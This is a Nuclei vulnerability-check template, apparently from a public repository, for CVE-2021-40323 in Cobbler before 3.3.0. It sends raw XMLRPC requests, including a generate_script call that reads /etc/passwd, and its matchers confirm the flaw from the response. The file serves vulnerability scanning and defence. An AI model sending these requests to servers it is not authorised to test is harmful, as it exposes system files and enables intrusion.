107 lines
2.7 KiB
YAML
107 lines
2.7 KiB
YAML
id: CVE-2021-40323
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info:
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name: Cobbler <3.3.0 - Remote Code Execution
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author: c-sh0
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severity: critical
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description: Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method.
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remediation: |
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Upgrade Cobbler to version 3.3.0 or later, which includes a fix for this vulnerability.
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reference:
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- https://github.com/cobbler/cobbler/releases/tag/v3.3.0
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- https://github.com/cobbler/cobbler/issues/2795
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- https://tnpitsecurity.com/blog/cobbler-multiple-vulnerabilities/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40323
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- https://github.com/cobbler/cobbler/commit/d8f60bbf14a838c8c8a1dba98086b223e35fe70a
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-40323
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cwe-id: CWE-94
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epss-score: 0.0192
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epss-percentile: 0.87272
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cpe: cpe:2.3:a:cobbler_project:cobbler:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: cobbler_project
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product: cobbler
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tags: cve,cve2021,cobbler,rce
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http:
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- raw:
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- |
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POST {{BaseURL}}/cobbler_api HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/xml
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<?xml version='1.0'?>
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<methodCall>
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<methodName>find_profile</methodName>
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<params>
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<param>
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<value>
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<struct>
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<member>
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<name>name</name>
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<value>
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<string>*</string>
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</value>
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</member>
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</struct>
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</value>
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</param>
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</params>
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</methodCall>
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- |
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POST {{BaseURL}}/cobbler_api HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/xml
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<?xml version='1.0'?>
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<methodCall>
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<methodName>generate_script</methodName>
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<params>
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<param>
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<value>
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<string>{{profile}}</string>
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</value>
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</param>
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<param>
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<value>
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<string></string>
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</value>
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</param>
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<param>
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<value>
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<string>/etc/passwd</string>
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</value>
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</param>
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</params>
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</methodCall>
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- 'text/xml'
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- type: regex
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regex:
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- "root:.*:0"
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- "bin:.*:1"
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- "nobody:.*:99"
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condition: or
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: profile
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group: 1
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regex:
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- '<value><string>(.*?)</string></value>'
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internal: true
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